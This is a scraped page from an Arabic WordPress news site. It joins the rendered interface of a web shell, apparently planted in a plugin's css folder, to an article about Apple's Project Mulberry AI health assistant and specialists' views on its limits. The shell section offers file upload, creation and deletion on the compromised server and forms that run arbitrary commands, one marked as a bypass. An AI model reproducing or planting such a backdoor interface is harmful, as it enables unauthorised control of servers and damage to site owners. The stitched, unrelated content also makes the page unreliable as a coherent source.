      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/tahkoom/public_html/wp-content/plugins/under-construction-page/css">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/tahkoom/public_html/wp-content/plugins/under-construction-page/css" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ftahkoom">tahkoom</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content">wp-content</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins">plugins</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Funder-construction-page">under-construction-page</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Funder-construction-page%2Fcss">css</a></div>
  <ul>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Funder-construction-page%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Funder-construction-page%2Fcss%2Fselect2.min.css"> select2.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/under-construction-page/css/select2.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Funder-construction-page%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Funder-construction-page%2Fcss%2Fucp-admin.css"> ucp-admin.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/under-construction-page/css/ucp-admin.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
      </ul>
<script>
document.addEventListener('DOMContentLoaded', () => {
  document.querySelectorAll('.result-box').forEach(t => {
    t.style.height = 'auto';
    t.style.height = t.scrollHeight + 'px';
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	<title>حين تتحول الساعة الذكية إلى عيادة متنقلة.. من يفهم جسدك الخوارزميات أم الأخصائي؟ &#8211; tahkoom.com</title>
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	<nav id="breadcrumb"><a href="https://tahkoom.com/"><span class="tie-icon-home" aria-hidden="true"></span> الرئيسية</a><em class="delimiter">/</em><a href="https://tahkoom.com/category/%d8%ae%d8%af%d9%85%d8%a9/">خدمة</a><em class="delimiter">/</em><span class="current">حين تتحول الساعة الذكية إلى عيادة متنقلة.. من يفهم جسدك الخوارزميات أم الأخصائي؟</span></nav><script type="application/ld+json">{"@context":"http:\/\/schema.org","@type":"BreadcrumbList","@id":"#Breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"item":{"name":"\u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629","@id":"https:\/\/tahkoom.com\/"}},{"@type":"ListItem","position":2,"item":{"name":"\u062e\u062f\u0645\u0629","@id":"https:\/\/tahkoom.com\/category\/%d8%ae%d8%af%d9%85%d8%a9\/"}}]}</script>
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			حين تتحول الساعة الذكية إلى عيادة متنقلة.. من يفهم جسدك الخوارزميات أم الأخصائي؟		</h1>

		<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">مايو 18, 2025</span><div class="tie-alignright"><span class="meta-views meta-item very-hot"><span class="tie-icon-fire" aria-hidden="true"></span> 10٬076 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 4 دقائق</span> </div></div><!-- .post-meta -->	</div><!-- .entry-header /-->

	
	
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<p class="MsoNormal"><strong>كتبت: فرح سمير</strong></p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;"> مدربك، طبيبك، وخبير التغذية… داخل هاتفك</mark></strong></p>



<p class="MsoNormal">! في خطوة جديدة تعزز مكانتها في عالم الصحة الرقمية، أعلنت شركة “آبل” عن مشروعها الطموح Project Mulberry، الذي يجمع بين الذكاء الاصطناعي والبيانات الصحية الشخصية لتقديم توصيات طبية وغذائية مصممة خصيصًا لكل مستخدم. المشروع يأتي كجزء من توسع آبل في مجالات الصحة والتغذية والعلاج الطبيعي. يهدف Project Mulberry إلى تحويل الهاتف الذكي إلى مساعد صحي افتراضي، يستند إلى معلومات دقيقة يتم جمعها من أجهزة مثل آيفون وآبل ووتش، لتقديم نصائح تتعلق بالنوم، التغذية، التمارين الرياضية، وحتى الوضعية الجسدية. يركز التطبيق على التكامل بين التحليل البيولوجي، والنصائح الشخصية، والمحتوى التعليمي المرئي. ويطمح إلى تقديم تجربة أكثر شمولاً… تبدأ من قياس عدد الخطوات، ولا تنتهي قبل تقديم خطة علاجية وتغذوية تراعي تفاصيل المستخدم. وقد استعانت آبل بفريق من الأطباء وخبراء التغذية والعلاج الطبيعي، لتدريب نموذجها الذكي وتحسين دقة التوصيات. لكن في خضم هذا التطور، تطرح تساؤلات مشروعة: هل يمكن لهذه التطبيقات أن تحل فعلاً محل الاستشارات الطبية المباشرة؟ وهل تمثل خطرًا على صحة المستخدم إن تم الاعتماد عليها بشكل كامل؟</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;"> “الذكاء الاصطناعي لا يملك حدسك”</mark></strong></p>



<p class="MsoNormal">الدكتورة &#8221; إيمان الحجار&#8221; استشاري التغذية؛ ترى أن الذكاء الاصطناعي لا يمكن الاعتماد عليه بشكل كامل في التخطيط الغذائي. خلال تدريب الطلبة، لاحظت أن أدوات الذكاء الاصطناعي ترتكب أخطاء واضحة في حساب السعرات، وتعتمد على معلومات غير مكتملة أو غير دقيقة، فضلًا عن تجاهلها لعادات وثقافات المجتمعات، مثل اقتراح أطعمة غير مقبولة دينيًا أو باهظة الثمن لا تناسب جميع الفئات. ترى د. إيمان أن التغذية لا تقتصر على وضع خطة مكتوبة، بل تحتاج إلى تواصل إنساني مباشر مع المريض، لفهم حالته النفسية والسلوكية، إذ قد يخفي بعض العادات الغذائية الحقيقية أو يتظاهر باتباع نظام صحي. من خلال الملاحظة المباشرة ولغة الجسد، تستطيع كمتخصصة كشف مشاكل لا يمكن للتطبيقات رصدها. تؤكد أن بعض المرضى يختبرون الذكاء الاصطناعي، وأحيانًا حتى الأخصائيين أنفسهم، كما تختلف شخصيات المرضى بين النرجسية أو السلبية أو الإنكار، ما يجعل التعامل الإنساني المباشر ضرورة، خاصة في حالات الأكل العاطفي أو الاضطرابات السلوكية المرتبطة بالتغذية. رغم ذلك، ترى أن الذكاء الاصطناعي يمكن أن يكون مكملًا مفيدًا، لا بديلًا. فهي استخدمته مثلًا مع الطلبة مرضى السكري في تطبيق ترفيهي يساعدهم على التعرف إلى السعرات الحرارية بشكل ممتع. كما تسهم التطبيقات في دعم الأخصائيين من خلال الردود التلقائية أو المتابعة اليومية، لكن مع ضرورة أن يكون التحكم بيد الأخصائي، لا العكس. وتحذر من مخاطر التطبيقات غير الموثوقة التي قد تنتهك الخصوصية أو تستغل البيانات، مشددة على أهمية المتابعة الشخصية مع الطبيب، لما تحققه من تواصل وجداني وتأثير نفسي إيجابي، خصوصًا عند إشراك المرضى في أنشطة جماعية ومشاركة وجباتهم، مما يشعرهم بالانتماء والدعم، ويقلل من العزلة والانطوائية. وتختم بأن العامل البشري لا غنى عنه، لأن مجرد الحوار بين المريض والأخصائي يمثل علاجًا بحد ذاته، ووسيلة لفهم أعمق ونتائج أفضل</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">العلاج الطبيعي: دعم لا بديل</mark></strong></p>



<p class="MsoNormal">أما في مجال العلاج الطبيعي، فيؤكد د. محمود عادل، استشاري العلاج الطبيعي –، أن الذكاء الاصطناعي يتمتع بإمكانات ملحوظة في تقديم إرشادات مخصصة اعتمادًا على تحليل بيانات المستخدمين، لكن الإشراف المتخصص يظل ضروريًا لضمان السلامة والفعالية، خاصة أن السلامة تمثل أولوية قصوى. ويشدد على أن المريض لا يجب أن يخضع لأي تجربة علاجية دون توجيه من مختص. يرى أن الذكاء الاصطناعي يمكن أن يكون مساعدًا في حالات محددة بسيطة أو لأغراض وقائية، وقد يشبه جزئيًا بعض جوانب جلسات العلاج الطبيعي. ومع ذلك، لا يمتلك القدرة على الحلول محل عملية التقييم والعلاج الشاملة التي يقوم بها الأخصائي، لأهمية المتابعة الدقيقة لحالة المريض. ويشير إلى أن مشروعًا مثل “Project Mulberry” يمكن أن يكون عنصرًا داعمًا لجلسات العلاج الطبيعي، لكنه لا يغني عنها، بل يسهل عملية المتابعة بين الجلسات ويوفر الوقت للمعالج والمريض. أما عن المخاطر، فيحذر من الاعتماد الكلي على التوجيهات التقنية دون استشارة أخصائي، لما قد يسببه ذلك من أخطاء في التشخيص أو أداء تمارين غير مناسبة، وهو ما قد يؤدي إلى تفاقم الإصابة، خصوصًا في حالات العضلات أو العمود الفقري. ويتابع: حتى مع تزويد التطبيقات بصور إشعاعية، يصعب عليها تقييم ما قد يضر المريض، كما أن الفيديوهات والصور يمكن أن تساعد في شرح التمارين، لكنها لا تعوض التوجيه المباشر، خاصة في الحالات المعقدة التي تتطلب تعديلاً مستمرًا بحسب استجابة الجسم التدريب الرياضي: حماس لا يمكن برمجته</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">المدرب الرقمي في جيبك…،</mark></strong></p>



<p class="MsoNormal"> تؤكد المدربة المعتمدة شيماء بركات أن الذكاء الاصطناعي، رغم تطوره، لا يمكن أن يحل محل المدرب البشري بأي شكل من الأشكال. وترى شيماء أن أنظمة الذكاء الاصطناعي قد تكون مفيدة في بعض الجوانب التقنية، خاصة عند توفر بيانات دقيقة وواضحة، لكنها لا تمتلك الفهم الكامل لاحتياجات كل مستخدم على حدة. كما أن الاعتماد على كاميرا الهاتف لتحليل الحركات لا يضاهي الملاحظة الفورية والخبرة العملية التي يتمتع بها المدرب، لا سيما أن تقييم الأداء البدني يتطلب قراءة دقيقة لتفاعل الجسم واستجابته أثناء التمرين. وتحذر من الاعتماد الكلي على هذه التطبيقات دون إشراف بشري مباشر، مشيرة إلى أن غياب العنصر الإنساني قد يؤدي إلى مشكلات عديدة، أبرزها الإصابة أو الفشل في تحقيق الأهداف، إضافة إلى شعور المتدرب بالملل أو فقدان الحافز بسبب غياب التشجيع والدعم اللحظي. كما تلفت إلى أن الذكاء الاصطناعي قد لا يكون قادرًا على التعامل مع الحالات الفردية الجديدة أو النادرة، وهو ما قد ينتج عنه عواقب سلبية عند غياب التقييم البشري المتخصص. وتختتم شيماء رأيها بالتأكيد على أن “التطبيقات الذكية ستظل أدوات مساعدة مفيدة، لكنها لا يمكن أن تحل محل التفاعل البشري الحي، أو تلغي الحاجة إلى خبرة المدرب الشخصي ومتابعته الدقيقة.” ميزة التطوير المستمر… ولكن! مشروع آبل مدعوم بفريق طبي يعمل على تدريب نموذج الذكاء الاصطناعي باستمرار، ما يعزز دقة التوصيات مع الوقت. كما أن إضافة خاصية متابعة التغذية وتحليل نمط النوم ومراقبة التمارين تجعل من التطبيق منصة شاملة. ومع ذلك، يبقى الاعتماد الكلي على الخوارزميات محل جدل. “ربما يكون المشروع مكملاً ممتازًا للرعاية الصحية، لكنه لا يجب أن يكون بديلاً عنها” ، يقول د. محمود. أداة مساعدة لا بديل مطلق: من الواضح أن الذكاء الاصطناعي بدأ يلعب دورًا متزايدًا في عالم الصحة. لكن حتى الآن، تظل قدراته محدودة أمام تعقيد الجسد البشري. التطبيقات الذكية قد تسهم في تحسين نمط الحياة، لكنها لا يمكن أن تحل محل المعرفة البشرية المتخصصة. في النهاية، الصحة تظل مسؤولية مشتركة بين الإنسان… والتقنية.</p>

			
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		<script id="tie-schema-json" type="application/ld+json">{"@context":"http:\/\/schema.org","@type":"Article","dateCreated":"2025-05-18T13:11:46+00:00","datePublished":"2025-05-18T13:11:46+00:00","dateModified":"2025-06-11T07:51:20+00:00","headline":"\u062d\u064a\u0646 \u062a\u062a\u062d\u0648\u0644 \u0627\u0644\u0633\u0627\u0639\u0629 \u0627\u0644\u0630\u0643\u064a\u0629 \u0625\u0644\u0649 \u0639\u064a\u0627\u062f\u0629 \u0645\u062a\u0646\u0642\u0644\u0629.. \u0645\u0646 \u064a\u0641\u0647\u0645 \u062c\u0633\u062f\u0643 \u0627\u0644\u062e\u0648\u0627\u0631\u0632\u0645\u064a\u0627\u062a \u0623\u0645 \u0627\u0644\u0623\u062e\u0635\u0627\u0626\u064a\u061f","name":"\u062d\u064a\u0646 \u062a\u062a\u062d\u0648\u0644 \u0627\u0644\u0633\u0627\u0639\u0629 \u0627\u0644\u0630\u0643\u064a\u0629 \u0625\u0644\u0649 \u0639\u064a\u0627\u062f\u0629 \u0645\u062a\u0646\u0642\u0644\u0629.. \u0645\u0646 \u064a\u0641\u0647\u0645 \u062c\u0633\u062f\u0643 \u0627\u0644\u062e\u0648\u0627\u0631\u0632\u0645\u064a\u0627\u062a \u0623\u0645 \u0627\u0644\u0623\u062e\u0635\u0627\u0626\u064a\u061f","keywords":[],"url":"https:\/\/tahkoom.com\/%d8%ad%d9%8a%d9%86-%d8%aa%d8%aa%d8%ad%d9%88%d9%84-%d8%a7%d9%84%d8%b3%d8%a7%d8%b9%d8%a9-%d8%a7%d9%84%d8%b0%d9%83%d9%8a%d8%a9-%d8%a5%d9%84%d9%89-%d8%b9%d9%8a%d8%a7%d8%af%d8%a9-%d9%85%d8%aa%d9%86%d9%82\/","description":"\u0643\u062a\u0628\u062a: \u0641\u0631\u062d \u0633\u0645\u064a\u0631 \u00a0\u0645\u062f\u0631\u0628\u0643\u060c \u0637\u0628\u064a\u0628\u0643\u060c \u0648\u062e\u0628\u064a\u0631 \u0627\u0644\u062a\u063a\u0630\u064a\u0629\u2026 \u062f\u0627\u062e\u0644 \u0647\u0627\u062a\u0641\u0643 ! \u0641\u064a \u062e\u0637\u0648\u0629 \u062c\u062f\u064a\u062f\u0629 \u062a\u0639\u0632\u0632 \u0645\u0643\u0627\u0646\u062a\u0647\u0627 \u0641\u064a \u0639\u0627\u0644\u0645 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0631\u0642\u0645\u064a\u0629\u060c \u0623\u0639\u0644\u0646\u062a \u0634\u0631\u0643\u0629 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